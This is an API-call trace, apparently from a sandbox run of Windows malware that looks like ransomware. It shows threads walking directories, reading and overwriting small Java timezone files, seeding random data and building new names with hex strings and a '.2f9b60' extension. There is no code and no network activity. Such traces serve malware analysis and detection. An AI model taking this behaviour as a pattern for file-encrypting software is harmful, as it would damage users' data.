[0168.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42896280 [0168.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42899e90 [0168.041] ReadFile (in: hFile=0x2c5c, lpBuffer=0x42896280, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x4503fb90, lpOverlapped=0x0 | out: lpBuffer=0x42896280*, lpNumberOfBytesRead=0x4503fb90*=0x59, lpOverlapped=0x0) returned 1 [0168.042] SetFilePointerEx (in: hFile=0x2c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.042] WriteFile (in: hFile=0x2c5c, lpBuffer=0x42899e90*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x4503fb94, lpOverlapped=0x0 | out: lpBuffer=0x42899e90*, lpNumberOfBytesWritten=0x4503fb94*=0x59, lpOverlapped=0x0) returned 1 [0180.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c90 [0180.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c60 [0180.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c60) returned 1 [0180.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42899e90) returned 1 [0180.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42896280) returned 1 [0180.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0180.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c600) returned 1 [0180.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdd8c60 [0180.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c600 [0180.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0180.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcbf0 [0180.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcbf0) returned 1 [0180.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cddcbf0 [0180.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcb30 [0180.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0180.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0180.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0180.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c600) returned 1 [0180.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x420551c0 [0180.720] SetFilePointerEx (in: hFile=0x2c5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.721] WriteFile (in: hFile=0x2c5c, lpBuffer=0x420551c0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x4503fcb0, lpOverlapped=0x0 | out: lpBuffer=0x420551c0*, lpNumberOfBytesWritten=0x4503fcb0*=0x102, lpOverlapped=0x0) returned 1 [0184.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.473] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180c0 [0184.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180c0) returned 1 [0184.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d880 [0184.474] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c180c0 [0184.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18180 [0184.475] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18180) returned 1 [0184.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.476] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42c18180 [0184.476] sprintf (in: _Dest=0x42c18180, _Format="%c%c" | out: _Dest="17") returned 2 [0184.477] sprintf (in: _Dest=0x42c18182, _Format="%c%c" | out: _Dest="5b") returned 2 [0184.477] sprintf (in: _Dest=0x42c18184, _Format="%c%c" | out: _Dest="1e") returned 2 [0184.477] sprintf (in: _Dest=0x42c18186, _Format="%c%c" | out: _Dest="b3") returned 2 [0184.477] sprintf (in: _Dest=0x42c18188, _Format="%c%c" | out: _Dest="e8") returned 2 [0184.477] sprintf (in: _Dest=0x42c1818a, _Format="%c%c" | out: _Dest="45") returned 2 [0184.477] sprintf (in: _Dest=0x42c1818c, _Format="%c%c" | out: _Dest="aa") returned 2 [0184.477] sprintf (in: _Dest=0x42c1818e, _Format="%c%c" | out: _Dest="33") returned 2 [0184.477] sprintf (in: _Dest=0x42c18190, _Format="%c%c" | out: _Dest="ea") returned 2 [0184.477] sprintf (in: _Dest=0x42c18192, _Format="%c%c" | out: _Dest="63") returned 2 [0184.477] sprintf (in: _Dest=0x42c18194, _Format="%c%c" | out: _Dest="ee") returned 2 [0184.477] sprintf (in: _Dest=0x42c18196, _Format="%c%c" | out: _Dest="40") returned 2 [0184.477] sprintf (in: _Dest=0x42c18198, _Format="%c%c" | out: _Dest="d5") returned 2 [0184.477] sprintf (in: _Dest=0x42c1819a, _Format="%c%c" | out: _Dest="95") returned 2 [0184.477] sprintf (in: _Dest=0x42c1819c, _Format="%c%c" | out: _Dest="dd") returned 2 [0184.477] sprintf (in: _Dest=0x42c1819e, _Format="%c%c" | out: _Dest="5e") returned 2 [0184.477] RtlInitAnsiString (in: DestinationString=0x4503fd28, SourceString="175b1eb3e845aa33ea63ee40d595dd5e" | out: DestinationString="175b1eb3e845aa33ea63ee40d595dd5e") [0184.477] RtlAnsiStringToUnicodeString (in: DestinationString=0x4503fcf8, SourceString="175b1eb3e845aa33ea63ee40d595dd5e", AllocateDestinationString=1 | out: DestinationString="175b1eb3e845aa33ea63ee40d595dd5e") returned 0x0 [0184.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97260 [0184.478] RtlFreeAnsiString (AnsiString="1") [0184.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18180) returned 1 [0184.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d880) returned 1 [0184.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c180c0) returned 1 [0184.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420551c0) returned 1 [0184.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcbf0) returned 1 [0184.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcb30) returned 1 [0184.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c60) returned 1 [0184.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c90) returned 1 [0184.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c181b0) returned 1 [0184.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18090) returned 1 [0184.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18e40) returned 1 [0184.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c23560 [0184.483] wcscat (in: _Dest=0x42c23560, _Source="175b1eb3" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\175b1eb3") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\175b1eb3" [0184.483] wcscat (in: _Dest=0x42c23560, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\175b1eb3.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\175b1eb3.2f9b60" [0184.483] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\175b1eb3.2f9b60", NtPathName=0x4503fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\175b1eb3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0184.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c660 Thread: id = 2843 os_tid = 0x814 [0160.264] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\niamey")) returned 0x20 [0165.821] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey", dwFileAttributes=0x20) returned 1 [0167.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Niamey" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\niamey"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c6c [0168.110] GetFileSizeEx (in: hFile=0x2c6c, lpFileSize=0x451bf840 | out: lpFileSize=0x451bf840*=89) returned 1 [0168.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a040 [0168.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a0d0 [0168.111] NtQuerySystemTime (in: CurrentTime=0x451bf700 | out: CurrentTime=0x451bf700*=132462177732298000) returned 0x0 [0168.111] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x1579fba5 [0168.111] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x699757f0 [0168.111] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x6375a6dc [0168.111] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x62f17ef7 [0168.111] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x4576b067 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x5b0df9bd [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x5b687ebf [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x2bd5916a [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x9c7d6a8 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x47452efd [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x66beda25 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x322e807d [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x64b45f3e [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x3e3b767d [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x54b6bda8 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x632a84be [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x3834fb7d [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x30a9e220 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x56e709ce [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x3e62dfd4 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x3b203278 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x93516d1 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x4a486c7d [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0xe488c05 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x1f81701a [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x129450ba [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x334b5007 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x75234ce9 [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x79d53f4c [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x63c14f3b [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x52e5e9af [0168.112] RtlRandomEx (in: Seed=0x451bf6f0 | out: Seed=0x451bf6f0) returned 0x57bc734b [0168.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a100 [0168.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5afb0 [0168.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a130 [0168.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5afb0) returned 1 [0168.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a0d0) returned 1 [0168.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c790 [0168.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5afb0 [0168.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0168.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0168.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4249b5c0 [0168.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42472110 [0168.124] ReadFile (in: hFile=0x2c6c, lpBuffer=0x4249b5c0, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x451bf6f0, lpOverlapped=0x0 | out: lpBuffer=0x4249b5c0*, lpNumberOfBytesRead=0x451bf6f0*=0x59, lpOverlapped=0x0) returned 1 [0168.125] SetFilePointerEx (in: hFile=0x2c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.126] WriteFile (in: hFile=0x2c6c, lpBuffer=0x42472110*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x451bf6f4, lpOverlapped=0x0 | out: lpBuffer=0x42472110*, lpNumberOfBytesWritten=0x451bf6f4*=0x59, lpOverlapped=0x0) returned 1 [0184.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b600 [0184.780] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b5a0 [0184.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b5a0) returned 1 [0184.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42472110) returned 1 [0184.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4249b5c0) returned 1 [0184.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5afb0) returned 1 [0184.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c790) returned 1 [0184.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1b5a0 [0184.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c790 [0184.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5afb0 [0184.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b570 [0184.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b570) returned 1 [0184.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1b570 [0184.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1b4b0 [0184.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1ac10 [0184.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1ac10) returned 1 [0184.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5afb0) returned 1 [0184.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c790) returned 1 [0184.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfe) returned 0x423a95f0 [0184.788] SetFilePointerEx (in: hFile=0x2c6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0184.788] WriteFile (in: hFile=0x2c6c, lpBuffer=0x423a95f0*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x451bf810, lpOverlapped=0x0 | out: lpBuffer=0x423a95f0*, lpNumberOfBytesWritten=0x451bf810*=0xfe, lpOverlapped=0x0) returned 1 [0188.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c470 [0188.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b5b0 [0188.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0188.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b20) returned 1 [0188.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0xd31e0 [0188.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0188.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420539a0 [0188.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420539a0) returned 1 [0188.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b5b0) returned 1 [0188.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c470) returned 1 [0188.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x420539a0 [0188.560] sprintf (in: _Dest=0x420539a0, _Format="%c%c" | out: _Dest="a0") returned 2 [0188.560] sprintf (in: _Dest=0x420539a2, _Format="%c%c" | out: _Dest="47") returned 2 [0188.560] sprintf (in: _Dest=0x420539a4, _Format="%c%c" | out: _Dest="a5") returned 2 [0188.560] sprintf (in: _Dest=0x420539a6, _Format="%c%c" | out: _Dest="5a") returned 2 [0188.560] sprintf (in: _Dest=0x420539a8, _Format="%c%c" | out: _Dest="90") returned 2 [0188.560] sprintf (in: _Dest=0x420539aa, _Format="%c%c" | out: _Dest="3c") returned 2 [0188.560] sprintf (in: _Dest=0x420539ac, _Format="%c%c" | out: _Dest="b4") returned 2 [0188.560] sprintf (in: _Dest=0x420539ae, _Format="%c%c" | out: _Dest="03") returned 2 [0188.560] sprintf (in: _Dest=0x420539b0, _Format="%c%c" | out: _Dest="d1") returned 2 [0188.560] sprintf (in: _Dest=0x420539b2, _Format="%c%c" | out: _Dest="d3") returned 2 [0188.560] sprintf (in: _Dest=0x420539b4, _Format="%c%c" | out: _Dest="4d") returned 2 [0188.560] sprintf (in: _Dest=0x420539b6, _Format="%c%c" | out: _Dest="3d") returned 2 [0188.560] RtlInitAnsiString (in: DestinationString=0x451bf888, SourceString="a047a55a903cb403d1d34d3d" | out: DestinationString="a047a55a903cb403d1d34d3d") [0188.560] RtlAnsiStringToUnicodeString (in: DestinationString=0x451bf858, SourceString="a047a55a903cb403d1d34d3d", AllocateDestinationString=1 | out: DestinationString="a047a55a903cb403d1d34d3d") returned 0x0 [0188.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f4f0 [0188.561] RtlFreeAnsiString (AnsiString="a") [0188.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420539a0) returned 1 [0188.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xd31e0) returned 1 [0188.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b20) returned 1 [0188.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a95f0) returned 1 [0188.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b570) returned 1 [0188.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b4b0) returned 1 [0188.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b5a0) returned 1 [0188.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1b600) returned 1 [0188.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a040) returned 1 [0188.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a100) returned 1 [0188.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a130) returned 1 [0188.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a5970 [0188.566] wcscat (in: _Dest=0x202a5970, _Source="a047a5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a047a5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a047a5" [0188.566] wcscat (in: _Dest=0x202a5970, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a047a5.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a047a5.2f9b60" [0188.566] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a047a5.2f9b60", NtPathName=0x451bf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\a047a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0188.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1ce63b50 Thread: id = 2844 os_tid = 0x1a90 [0160.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202ad550 [0160.265] wcscpy (in: _Dest=0x202ad550, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" [0160.266] wcscat (in: _Dest=0x202ad550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\" [0160.266] wcscat (in: _Dest=0x202ad550, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*" [0160.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0160.266] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0160.266] wcscmp (_String1=".", _String2=".") returned 0 [0160.266] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.266] wcscmp (_String1="..", _String2=".") returned 1 [0160.267] wcscmp (_String1="..", _String2="..") returned 0 [0160.267] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xec0a7698, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xec0a7698, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0160.267] wcscmp (_String1="Desktop.ini", _String2=".") returned 1 [0160.267] wcscmp (_String1="Desktop.ini", _String2="..") returned 1 [0160.267] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech Recognition.lnk", cAlternateFileName="SPEECH~1.LNK")) returned 1 [0160.267] wcscmp (_String1="Speech Recognition.lnk", _String2=".") returned 1 [0160.267] wcscmp (_String1="Speech Recognition.lnk", _String2="..") returned 1 [0160.267] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bce0a9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bce0a9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x56c, dwReserved0=0x0, dwReserved1=0x0, 